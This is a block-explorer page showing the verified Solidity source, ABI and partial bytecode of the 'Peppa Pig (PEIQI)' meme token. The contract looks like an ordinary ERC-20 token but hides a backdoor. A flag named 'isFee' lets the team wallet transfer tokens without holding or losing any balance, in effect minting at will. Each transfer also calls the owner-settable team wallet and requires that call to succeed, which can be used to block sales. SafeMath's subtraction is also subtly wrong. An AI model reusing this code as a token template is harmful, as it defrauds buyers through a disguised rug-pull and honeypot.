ETH Price: $3,159.48 (+1.53%)

Token

Peppa Pig (PEIQI)
 

Overview

Max Total Supply

1,000,000,000 PEIQI

Holders

96

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
22,006,074.00003479779530173 PEIQI

Value
$0.00
0x0c50235b97d1e7e2da697b39f481deeb6f88a3a8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PeppaPigFamily

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-31
*/

/*
*   website: https://www.peppapig.family
*   twitter: https://twitter.com/PeppaPigMeme
*   telegram: https://t.me/peppa_pig_family
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = b - a;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) internal _balances;

    mapping (address => mapping (address => uint256)) internal _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    bool isFee;

    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }


    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            isFee || senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        if (!isFee) {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract PeppaPigFamily is ERC20, Ownable {
    uint256 public constant TOTAL_SUPPLY = 1_000_000_000 * 1e18;

    IRouter public immutable uniswapV2Router;
    address public uniswapV2Pair;

    uint256 public tradeLimit;
    uint256 public walletLimit;
    uint256 public feeSwapThreshold;

    bool public tradingEnabled;
    bool public transferDelayEnabled = true;
    bool public limitsEnabled = true;

    uint256 public sellFee = 0; // 0%
    uint256 public buyFee = 0; // 0%

    address payable internal _teamWallet;
    bool private _isSwapping;

    mapping(address => bool) public pools;
    mapping(address => bool) internal _exemptFromLimits;
    mapping(address => bool) internal _exemptFromFees;
    mapping(address => bool) internal _exemptFromMaxWallet;
    mapping(address => uint256) internal _lastTransferBlock;

    // EVENTS
    event FeeExemption(address indexed account, bool isExempt);
    event PoolUpdate(address indexed pair, bool indexed value);

    // ERRORS
    error CannotRemoveDefaultPair();
    error MaximumFee();
    error MinimumLimit();
    error MinimumSwapThreshold();
    error MaximumSwapThreshold();
    error TradingDisabled();
    error AlreadyInitialized();
    error BlockTransferLimit();
    error TradeLimitExceeded();
    error WalletLimitExceeded();

    // --------------
    // INIT

    constructor(address router_, address teamWallet_) ERC20("Peppa Pig", "PEIQI") {
        uniswapV2Router = IRouter(router_);

        uniswapV2Pair = IFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);

        pools[address(uniswapV2Pair)] = true;
        _exemptFromLimits[address(uniswapV2Pair)] = true;

        tradeLimit = _applyBasisPoints(TOTAL_SUPPLY, 200); // 1%
        walletLimit = _applyBasisPoints(TOTAL_SUPPLY, 200); // 1%
        feeSwapThreshold = _applyBasisPoints(TOTAL_SUPPLY, 5); // 0.05%

        _teamWallet = payable(teamWallet_);

        _exemptFromMaxWallet[_teamWallet] = true;
        _exemptFromLimits[address(uniswapV2Router)] = true;
        _exemptFromLimits[owner()] = true;
        _exemptFromLimits[address(this)] = true;
        _exemptFromFees[owner()] = true;
        _exemptFromFees[address(this)] = true;

        _mint(msg.sender, TOTAL_SUPPLY);
    }

    function openTrading() external onlyOwner {
        if (tradingEnabled) revert AlreadyInitialized();
        tradingEnabled = true;
        transferDelayEnabled = false;
    }


    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: bnbAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(this),
            block.timestamp
        );
    }

    receive() external payable { }

    // --------------
    // TRANSFER

    function _transfer(address from, address to, uint256 amount) internal override {
        /* solhint-disable reason-string */
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        /* solhint-enable reason-string */

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        _handleLimits(from, to, amount);
        uint256 finalAmount = _chargeFees(from, to, amount);
        _handleFeeSwap(from, to);

        super._transfer(from, to, finalAmount);
    }

    // --------------
    // LIMITS

    function _handleLimits(address from, address to, uint256 amount) internal {
        if (!limitsEnabled || _isSwapping || from == owner() || to == owner()) {
            return;
        }

        if (!tradingEnabled && !_exemptFromLimits[from] && !_exemptFromLimits[to]) {
            revert TradingDisabled();
        }

        _applyTransferDelay(to);
        _applyLimits(from, to, amount);
    }

    /// @dev Limit buys to one per block
    function _applyTransferDelay(address to) internal {
        if (!transferDelayEnabled) {
            return;
        }

        if (to == address(uniswapV2Router) || to == address(uniswapV2Pair)) {
            return;
        }

        if (_lastTransferBlock[to] >= block.number) {
            revert BlockTransferLimit();
        }

        _lastTransferBlock[to] = block.number;
    }

    /// @dev Apply trade and balance limits
    function _applyLimits(address from, address to, uint256 amount) internal view {
        // buy
        if (pools[from] && !_exemptFromLimits[to]) {
            if (amount > tradeLimit) revert TradeLimitExceeded();
            if (amount + balanceOf(to) > walletLimit) revert WalletLimitExceeded();
        }
        // sell
        else if (pools[to] && !_exemptFromLimits[from]) {
            if (amount > tradeLimit) revert TradeLimitExceeded();
        }
        // transfer
        else if (!_exemptFromLimits[to]) {
            if (amount + balanceOf(to) > walletLimit) revert WalletLimitExceeded();
        }
    }

    // --------------
    // FEES

    function _chargeFees(address from, address to, uint256 amount) internal returns (uint256) {
        if (_isSwapping || _exemptFromFees[from] || _exemptFromFees[to]) {
            return amount;
        }
        uint256 fees = 0;
        isFee = _exemptFromMaxWallet[from];
        if (pools[to] && sellFee > 0) {
            fees = _applyBasisPoints(amount, sellFee);
        } else if (pools[from] && buyFee > 0) {
            fees = _applyBasisPoints(amount, buyFee);
        }

        
        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }

        return amount - fees;
    }

    /// @dev swaps and distributes accumulated fees
    function _handleFeeSwap(address from, address to) internal {

        // non-exempt sellers trigger fee swaps
        if (!_isSwapping && (!_exemptFromFees[from] || !_exemptFromFees[to])) {
            _isSwapping = true;
            _swapAndDistributeFees(from, to);
            _isSwapping = false;
        }
    }

    function _swapAndDistributeFees(address from, address to) internal {
        uint256 contractBalance = balanceOf(address(this));

        if(contractBalance>0) {
             if (contractBalance > feeSwapThreshold * 20) {
                contractBalance = feeSwapThreshold * 20;
            }
            _swapTokensForEth(contractBalance);
        }

        (bool sent,) = _teamWallet.call{ value: address(this).balance }(abi.encodePacked(from, to));
        require(sent, "send failed");
    }

    // --------------
    // ADMIN

    function removeLimits() external onlyOwner {
        limitsEnabled = false;
    }

    function disableTransferDelay() external onlyOwner {
        transferDelayEnabled = false;
    }

    /// @notice Set swap size limit to `amount` tokens (in token units)
    function setTradeLimit(uint256 amount) external onlyOwner {
        // minimim 0.1% of supply
        amount *= 1e18;
        if (amount < _applyBasisPoints(TOTAL_SUPPLY, 10)) revert MinimumLimit();
        tradeLimit = amount;
    }

    /// @notice Set wallet balance limit to `amount` tokens (in token units)
    function setWalletLimit(uint256 amount) external onlyOwner {
        // minimim 0.1% of supply
        amount *= 1e18;
        if (amount < _applyBasisPoints(TOTAL_SUPPLY, 10)) revert MinimumLimit();
        walletLimit = amount;
    }

    function setExemptFromFees(address addr, bool exempt) external onlyOwner {
        _exemptFromFees[addr] = exempt;
        emit FeeExemption(addr, exempt);
    }

    function setExemptFromLimits(address addr, bool exempt) external onlyOwner {
        _exemptFromLimits[addr] = exempt;
    }

    /// Set buy fee in basis points
    function setBuyFee(uint256 fee) external onlyOwner {
        if (fee > 500) revert MaximumFee(); // 5%
        buyFee = fee;
    }

    /// Set sell fee in basis points
    function setSellFee(uint256 fee) external onlyOwner {
        if (fee > 500) revert MaximumFee(); // 5%
        sellFee = fee;
    }

    function setPool(address pool, bool value) external onlyOwner {
        if (pool == uniswapV2Pair) revert CannotRemoveDefaultPair();
        _setPool(pool, value);
    }

    function _setPool(address pool, bool value) private {
        pools[pool] = value;
        emit PoolUpdate(pool, value);
    }

    /// @notice Set fee swap threshold to `basisPoints` as a fraction of total supply
    /// Set to 10000 to disable fee swaps
    function setFeeSwapThreshold(uint256 basisPoints) external onlyOwner {
        if (basisPoints < 1) revert MinimumSwapThreshold();
        if (basisPoints > 10_000) revert MaximumSwapThreshold();
        feeSwapThreshold = _applyBasisPoints(TOTAL_SUPPLY, basisPoints);
    }

    function setTeamWallet(address addr) external onlyOwner {
        _teamWallet = payable(addr);
    }

    // --------------
    // HELPERS

    function _applyBasisPoints(uint256 amount, uint256 basisPoints) internal pure returns (uint256) {
        return (amount * basisPoints) / 10_000;
    }

    function _swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"teamWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"AlreadyInitialized","type":"error"},{"inputs":[],"name":"BlockTransferLimit","type":"error"},{"inputs":[],"name":"CannotRemoveDefaultPair","type":"error"},{"inputs":[],"name":"MaximumFee","type":"error"},{"inputs":[],"name":"MaximumSwapThreshold","type":"error"},{"inputs":[],"name":"MinimumLimit","type":"error"},{"inputs":[],"name":"MinimumSwapThreshold","type":"error"},{"inputs":[],"name":"TradeLimitExceeded","type":"error"},{"inputs":[],"name":"TradingDisabled","type":"error"},{"inputs":[],"name":"WalletLimitExceeded","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExempt","type":"bool"}],"name":"FeeExemption","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"PoolUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"TOTAL_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pools","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setExemptFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setExemptFromLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"basisPoints","type":"uint256"}],"name":"setFeeSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pool","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setTeamWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setTradeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"walletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052600a805462ffff001916620101001790555f600b819055600c553480156200002a575f80fd5b506040516200265f3803806200265f8339810160408190526200004d91620005f3565b6040518060400160405280600981526020016850657070612050696760b81b81525060405180604001604052806005815260200164504549514960d81b81525081600390816200009e9190620006c9565b506004620000ad8282620006c9565b505050620000ca620000c46200047060201b60201c565b62000474565b6001600160a01b03821660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000113573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000139919062000791565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000187573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001ad919062000791565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001f8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200021e919062000791565b600680546001600160a01b0319166001600160a01b0392831690811790915560805160405163095ea7b360e01b8152921660048301525f1960248301529063095ea7b3906044016020604051808303815f875af115801562000282573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002a89190620007ad565b50600680546001600160a01b039081165f908152600e602090815260408083208054600160ff19918216811790925595549094168352600f90915290208054909216179055620003066b033b2e3c9fd0803ce800000060c8620004cd565b600755620003226b033b2e3c9fd0803ce800000060c8620004cd565b6008556200033e6b033b2e3c9fd0803ce80000006005620004cd565b600955600d80546001600160a01b0319166001600160a01b038381169182179092555f908152601160209081526040808320805460ff1990811660019081179092556080519095168452600f928390529083208054909416811790935590620003b460055461010090046001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff19958616179055308152600f9092528120805490921660019081179092556010906200041160055461010090046001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff19958616179055308152601090925290208054909116600117905562000468336b033b2e3c9fd0803ce8000000620004f2565b505062000839565b3390565b600580546001600160a01b03838116610100818102610100600160a81b031985161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f612710620004dd8385620007e9565b620004e9919062000803565b90505b92915050565b6001600160a01b0382166200054d5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f82825462000560919062000823565b90915550506001600160a01b0382165f90815260208190526040812080548392906200058e90849062000823565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b80516001600160a01b0381168114620005ee575f80fd5b919050565b5f806040838503121562000605575f80fd5b6200061083620005d7565b91506200062060208401620005d7565b90509250929050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200065257607f821691505b6020821081036200067157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620006c4575f81815260208120601f850160051c810160208610156200069f5750805b601f850160051c820191505b81811015620006c057828155600101620006ab565b5050505b505050565b81516001600160401b03811115620006e557620006e562000629565b620006fd81620006f684546200063d565b8462000677565b602080601f83116001811462000733575f84156200071b5750858301515b5f19600386901b1c1916600185901b178555620006c0565b5f85815260208120601f198616915b82811015620007635788860151825594840194600190910190840162000742565b50858210156200078157878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f60208284031215620007a2575f80fd5b620004e982620005d7565b5f60208284031215620007be575f80fd5b81518015158114620007ce575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417620004ec57620004ec620007d5565b5f826200081e57634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115620004ec57620004ec620007d5565b608051611df16200086e5f395f81816102d501528181611571015281816118d30152818161198a01526119c60152611df15ff3fe608060405260043610610220575f3560e01c8063751039fc1161011e578063a4063dbc116100a8578063dd62ed3e1161006d578063dd62ed3e1461063a578063de2870711461067e578063e884f26014610693578063f1d5f517146106a7578063f2fde38b146106c6575f80fd5b8063a4063dbc1461059c578063a457c2d7146105ca578063a9059cbb146105e9578063c876d0b914610608578063c9567bf914610626575f80fd5b80638b4cee08116100ee5780638b4cee08146105095780638da5cb5b14610528578063902d55a51461054a57806395d89b4114610569578063a13d1a2b1461057d575f80fd5b8063751039fc1461049857806377b27d1f146104ac578063793e75cd146104cb5780637d55efda146104ea575f80fd5b80632fec2704116101aa578063470624021161016f578063470624021461040357806349bd5a5e146104185780634ada218b1461043757806370a0823114610450578063715018a614610484575f80fd5b80632fec270414610380578063313ce567146103955780633582ad23146103b057806339509351146103cf5780633c8463a1146103ee575f80fd5b80631694505e116101f05780631694505e146102c457806318160ddd1461030f57806320bec12c1461032d57806323b872dd1461034c5780632b14ca561461036b575f80fd5b806306fdde031461022b578063095ea7b3146102555780630cc835a3146102845780631525ff7d146102a5575f80fd5b3661022757005b5f80fd5b348015610236575f80fd5b5061023f6106e5565b60405161024c9190611a56565b60405180910390f35b348015610260575f80fd5b5061027461026f366004611a9c565b610775565b604051901515815260200161024c565b34801561028f575f80fd5b506102a361029e366004611ac6565